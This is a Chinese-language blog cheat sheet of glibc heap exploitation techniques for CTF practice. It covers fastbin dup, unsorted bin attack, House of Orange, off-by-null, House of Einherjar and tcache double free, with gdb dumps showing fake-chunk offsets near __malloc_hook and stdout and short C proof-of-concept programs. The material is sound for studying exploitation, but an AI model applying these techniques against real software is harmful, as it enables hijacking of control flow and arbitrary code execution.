Heap Exploitation CheatSheet

Zheng Yu lucky

Glibc Check List

函数名 检查 报错信息
unlink p->size == nextchunk->pre_size corrupted size vs prev_size
unlink p->fd->bk == p 且 p->bk->fd == p corrupted double-linked list
_int_malloc 当从fastbin分配内存时 ,找到的那个fastbin chunk的size要等于其位于的fastbin 的大小,比如在0x20的 fastbin中其大小就要为0x20 malloc():memory corruption (fast)
_int_malloc 当从 smallbin 分配 chunk( victim) 时, 要求 victim->bk->fd == victim malloc(): smallbin double linked list corrupted
_int_malloc 当迭代 unsorted bin 时 ,迭代中的 chunk (cur)要满足,cur->size 在 [2*SIZE_SZ, av->system_mem] 中 malloc(): memory corruption
_int_malloc 当迭代 unsorted bin 时 ,迭代中的 chunk (cur)要满足,nextchunk(cur)->size 在 [2*SIZE_SZ, av->system_mem] 中 malloc(): invalid next size (unsorted)
_int_malloc 当迭代 unsorted bin 时 ,迭代中的 chunk (cur)要满足,cur->bk->fd = cur, cur->fd = unsortedbin的头 malloc(): unsorted double linked list corrupted
_int_malloc 当迭代 unsorted bin 时 ,迭代中的 chunk (cur)要满足,下一个块的pre_inuse位应该为0 malloc(): invalid next->prev_inuse (unsorted)
_int_malloc 当迭代 unsorted bin 时 ,迭代中的 chunk (cur)不满足要求,放入对应的bin时,要求bck-fd = cur, bck为放入前的cur->bk malloc(): corrupted unsorted chunks 3
_int_free 当插入一个 chunk 到 fastbin时,判断fastbin的 head 是不是和 释放的 chunk 相等 double free or corruption (fasttop)
_int_free 判断 next_chunk->pre_inuse == 1 double free or corruption (!prev)

Double Free

原理

free过后没有清空指针,导致产生悬垂指针,如果我们利用对这个指针继续进行edit,free等操作,就可以触发漏洞。

Fast Bin

double free中最重要的就是fast bin, 在没有tcache的glibc中fastbin的管理方式为将fastbin chunk的大小分为7类,0x20,0x30,0x40,0x50,0x60,0x70。每一类用单项链表进行连接,malloc_chunk中的fd指针充当前向指针这个角色,所以在利用double free时,如果我们控制了fd指针,那么我们就可以分配任意地址,进而做到任意地址写。

任意地址写

由于我们必须在free后再去修改fd指针才有意义,对此我们修改的方式有以下几种。

  1. 题目可以编辑free了的堆块。

  2. 程序存在堆溢出,从上一个堆块进行修改。

  3. fastdup

    • 分配两个大小相同为size的chunk,chunk0chunk1。
    • free(0), free(1), free(0)。fastbin中对应链表形如0->1->0
    • 分配大小为size的chunk2。那么chunk2=chunk0
    • 此时修改chunk2的fd指针,再分配三个堆块即可分配到指定地址。

在进行任意地址分配时,通常会遇到的问题是glibc会检查对应地址的size部分是否与fastbin匹配。所以我们对分配的地址有一定的要求。列一些常见的

分配到 _IO_stdout

可以看到有一个0x7f可以被利用,IO_2_1_stdout_ - 0x50+13

1
2
3
4
5
6
0x7ffff7dd25dd <_IO_2_1_stderr_+157>:	0xfff7dd1660000000	0x000000000000007f
0x7ffff7dd25ed <_IO_2_1_stderr_+173>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd25fd <_IO_2_1_stderr_+189>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd260d <_IO_2_1_stderr_+205>: 0x0000000000000000 0xfff7dd06e0000000
0x7ffff7dd261d <_IO_2_1_stderr_+221>: 0x00fbad288700007f 0xfff7dd26a3000000
0x7ffff7dd262d <_IO_2_1_stdout_+13>: 0xfff7dd26a300007f 0xfff7dd26a300007f
分配到_malloc_hook

这有两个0x7f, __malloc_hook-0x23

1
2
3
4
5
6
7
8
9
0x7f2ed4322aed <_IO_wide_data_0+301>:	0x2ed4321260000000	0x000000000000007f
0x7f2ed4322afd: 0x2ed3fe3e20000000 0x2ed3fe3a0000007f
0x7f2ed4322b0d <__realloc_hook+5>: 0x000000000000007f 0x0000000000000000
0x7f2ed4322b1d: 0x0000000000000000 0x0000000000000000
0x7f2ed4322b2d <main_arena+13>: 0x0000000000000000 0x0000000000000000
0x7f2ed4322b3d <main_arena+29>: 0x0000000000000000 0x0000000000000000
0x7f2ed4322b4d <main_arena+45>: 0x0000000000000000 0x0000000000000000
0x7f2ed4322b5d <main_arena+61>: 0x0000000000000000 0x0000000000000000

同时修改_malloc_hook, _realloc_hook

这两个hook是连着的,将_malloc_hook修改成realloc中的某个位置,_realloc_hook修改成one_gadget。这样做的理由是,realloc的开头如下。我们可以跳到我们选择的位置来控制栈的分布。

1
2
3
4
5
6
7
8
9
0x7ffff7a916c0 <realloc>       push   r15
0x7ffff7a916c2 <realloc+2> push r14
0x7ffff7a916c4 <realloc+4> push r13
0x7ffff7a916c6 <realloc+6> push r12
0x7ffff7a916c8 <realloc+8> mov r13, rsi
0x7ffff7a916cb <realloc+11> push rbp
0x7ffff7a916cc <realloc+12> push rbx
0x7ffff7a916cd <realloc+13> mov rbx, rdi
0x7ffff7a916d0 <realloc+16> sub rsp, 0x38
修改vtable

IO_2_1_stdout - 0x90+13

1
2
3
4
5
6
7
8
0x7f43239086bd <_IO_2_1_stdout_+157>:	0x43239077a0000000	0x000000000000007f
0x7f43239086cd <_IO_2_1_stdout_+173>: 0x0000000000000000 0x0000000000000000
0x7f43239086dd <_IO_2_1_stdout_+189>: 0x00ffffffff000000 0x0000000000000000
0x7f43239086ed <_IO_2_1_stdout_+205>: 0x0000000000000000 0x43239066e0000000
0x7f43239086fd <_IO_2_1_stdout_+221>: 0x432390854000007f 0x432390862000007f
0x7f432390870d <stdout+5>: 0x43239078e000007f 0x4323563b7000007f
0x7f432390871d <DW.ref.__gcc_personality_v0+5>: 0x000000000000007f 0x0000000000000000
0x7f432390872d <string_space+5>: 0x0000000000000000 0x0000000000000000

泄露地址

如果程序无法打印已经free的堆块的地址,那么通常的办法是制造unsorted bin带出main_arena的地址,从而获取libc。如果程序限制了可分配的大小,那么有必要fastbin制造unsorted bin。然后进行part overwrite等等。

Fastbin to Anybin

制造unsorted bin的思路为修改一个fastbin的size,然后再free此堆块。所以只需要利用fastbin dup任意地址分配堆块到某个堆块的上面,然后就能够编辑size部分,将size改大后就成为了各种bin,free后就成为了unsorted_bin。

这种方法可以使用fastbin在堆上构造任意形式的堆块,虽然可能比较麻烦,而且存在大量的溢出,在此基础上可以使用其他方法。

Unsortedbin to Fastbin

分配内存是,如果进入了unsorted bin分配。

那么遍历 unsorted bin , 如果此时的 unsorted bin 只有一项,且他就是 av->last_remainder,同时大小满足

1
(unsigned long) (size) > (unsigned long) (nb + MINSIZE)

就对当前 unsorted bin 进行切割,然后返回切割后的 unsorted bin

所以就搞定了,可以在fastbin中利用glibc地址。

heap paradise(程序没有打印功能)

程序每次输出前会把_IO_write_base_IO_write_ptr的内容输出。所以可以利用这点进行修改。

利用fastbin这个修改_IO_stdout_flags_IO_write_base

_IO_write_base的最低位改成\x00,就可以在任意输出的时候泄露一个libc的地址了。

修改got表泄露地址
malloc大堆块(HITCON CTF 2019)

将一个大尺寸传递给malloc(但小于某个特定尺寸),malloc则实际上会调用mmap以映射一个全新的内存区域。反复试验可以使mmap块与libc完美对齐:

Small Bin

  • 首先分配两个 0x90chunk (p0, p1) ,然后释放掉,会进行合并,形成 一个 0x120unsorted bin
  • 然后分配一个 0x120chunk (p2) , 则 p0=p2 , 此时 p0 所在的 chunk 可以包含p1chunk
  • 然后在 p0 所在的 chunk 伪造一个 free chunk, 设置好 fdbk , 然后释放 p1触发 unlink

这种方法在只有fastbin的时候也能用,属于fastbin attack简化版。

Unsorted Bin Attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49

#include <stdio.h>
#include <stdlib.h>

int main() {
fprintf(stderr, "This file demonstrates unsorted bin attack by write a large "
"unsigned long value into stack\n");
fprintf(
stderr,
"In practice, unsorted bin attack is generally prepared for further "
"attacks, such as rewriting the "
"global variable global_max_fast in libc for further fastbin attack\n\n");

unsigned long target_var = 0;
fprintf(stderr,
"Let's first look at the target we want to rewrite on stack:\n");
fprintf(stderr, "%p: %ld\n\n", &target_var, target_var);

unsigned long *p = malloc(400);
fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\n",
p);
fprintf(stderr, "And allocate another normal chunk in order to avoid "
"consolidating the top chunk with"
"the first one during the free()\n\n");
malloc(500);

free(p);
fprintf(stderr, "We free the first chunk now and it will be inserted in the "
"unsorted bin with its bk pointer "
"point to %p\n",
(void *)p[1]);

/*------------VULNERABILITY-----------*/

p[1] = (unsigned long)(&target_var - 2);
fprintf(stderr, "Now emulating a vulnerability that can overwrite the "
"victim->bk pointer\n");
fprintf(stderr, "And we write it with the target address-16 (in 32-bits "
"machine, it should be target address-8):%p\n\n",
(void *)p[1]);

//------------------------------------

malloc(400);
fprintf(stderr, "Let's malloc again to get the chunk we just free. During "
"this time, target should has already been "
"rewrite:\n");
fprintf(stderr, "%p: %p\n", &target_var, (void *)target_var);
}

修改global_max_fast

初始状态时

unsorted bin 的 fd 和 bk 均指向 unsorted bin 本身。

执行 free(p)

由于释放的 chunk 大小不属于 fast bin 范围内,所以会首先放入到 unsorted bin 中。

修改 p[1]

经过修改之后,原来在 unsorted bin 中的 p 的 bk 指针就会指向 target addr-16 处伪造的 chunk,即 Target Value 处于伪造 chunk 的 fd 处。

申请 400 大小的 chunk

此时,所申请的 chunk 处于 small bin 所在的范围,其对应的 bin 中暂时没有 chunk,所以会去 unsorted bin 中找,发现 unsorted bin 不空,于是把 unsorted bin 中的最后一个 chunk 拿出来。

  • victim = unsorted_chunks(av)->bk=p
  • bck = victim->bk=p->bk = target addr-16
  • unsorted_chunks(av)->bk = bck=target addr-16
  • bck->fd = *(target addr -16+16) = unsorted_chunks(av);

House Of Orange

在没有free的情况下构造unsorted bin,当分配的内存大于topchunk时,程序就可能把topchunk放入unsortedbin。

伪造的 top chunk size 的要求

  1. 伪造的 size 必须要对齐到内存页
  2. size 要大于 MINSIZE(0x10)
  3. size 要小于之后申请的 chunk size + MINSIZE(0x10)
  4. size 的 prev inuse 位必须为 1

之后原有的 top chunk 就会执行_int_free从而顺利进入 unsorted bin 中。

这种方法,可以用来泄露libc地址。

Off-By-Null

原理

off-by-null的通常利用方法为修改下一个块的pre-in-used位,然后进行一系列的应用。常见的方法是构造overlap chunk。

此时我们free这个pre-in-used位被清零的块,那么他就会尝试与前一个块进行合并,此时我们可以选择使用一些方法。

作用

ptr 处的指针会变为 ptr - 0x18。

方法

  1. 修改 fd 为 ptr - 0x18
  2. 修改 bk 为 ptr - 0x10
  3. 触发 unlink(free(ptr后面那个块))

这种方法在程序使用线性结构存储指针时效果较好。

House Of Einherjar

堆上任意地址分配。可以产生堆溢出,制造double free之类的。如果程序不能编辑堆块可以用这个方法来编辑堆块。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int main() {
void* a = malloc(0x88);
void* b = malloc(0x88);

printf("1 : %p\n2 : %p\n", a, b);

*((long*) (b - 16)) = 0x80; //pre size
*((long*) (b - 8)) = 0x90; //set prev-in-used-bit

*(long*) (a + 8) = 0x81; //fake chunk size
*(long*) (a + 16) = a; //fake fd
*(long*) (a + 24) = a; //fake bk (绕过unlink)

free(b);

printf("3 : %p", malloc(0x108));

return 0;
}
/* 1 : 0x186b010 */
/* 2 : 0x186b0a0 */
/* 3 : 0x186b020 */

Overlap Chunk

Idea1

House Of Einherjar需要泄露出堆地址,如果没有堆地址,我们也有办法。

  1. 先分配三个块A,B,C。
  2. 释放A,让A进入unsorted bin。(限制A的大小不能太小,此时A有满足要求的fd, bk)
  3. 编辑或重新分配B off-by-null 到C,编辑C的pre_size使其能够够到A。(B size不对齐)
  4. free C。(向前合并到A,进入unsorted bin)
  5. 再分配A到C那么大的堆块就可以编辑B,形成overlap。

这种方法更麻烦,对堆块的要求更多。

idea2 (lctf2018)

有时会看到题目禁止输入’\x00’此时上面的方法都将失效,所以使用如下办法。

  1. A -> B -> C 三块 unsorted bin chunk 依次进行释放
  2. A 和 B 合并,此时 C 前的 prev_size 写入为 0x200
  3. A 、 B 、 C 合并,步骤 2 中写入的 0x200 依然保持
  4. 利用 unsorted bin 切分,分配出 A
  5. 利用 unsorted bin 切分,分配出 B,注意此时不要覆盖到之前的 0x200
  6. 将 A 再次释放为 unsorted bin 的堆块,使得 fd 和 bk 为有效链表指针
  7. 此时 C 前的 prev_size 依然为 0x200(未使用到的值),A B C 的情况: A (free) -> B (allocated) -> C (free),如果使得 B 进行溢出,则可以将已分配的 B 块包含在合并后的释放状态 unsorted bin 块中。

Hint

在存在Off-by-null时,通常存在的情况是show的时候无法输出有效内容,所以通常使用的方法是使用

House Of Einherjar从高地址的块向上合并形成unsortedbin带出libc的地址,然后就能泄露glibc的地址。(secret_of_my_heart)

Tcache

  1. glibc 2.27的tcache没有double free的检查,利用更加容易,直接对同一个指针free两次即可。
  2. 想让tcache进入普通的bin,需要让tcache填满,例如free一个指针8次。或者修改tcache_perthread_structure.

Hint

  1. 关于double free, glibc2.29的这段代码或让double free必将会被检查出来。
1
2
3
4
5
6
7
8
9
tcache_entry *tmp;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx];
tmp;
tmp = tmp->next)
if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */

此外2.29的有了更多的unsorted bin的检查,值得注意。

  1. calloc再size小于0x800时不适用tcache.
  • Post title:Heap Exploitation CheatSheet
  • Post author:Zheng Yu
  • Create time:2019-11-09 16:34:06
  • Post link:https://dataisland.org/2019/11/09/Heap-Attack-Summary/
  • Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.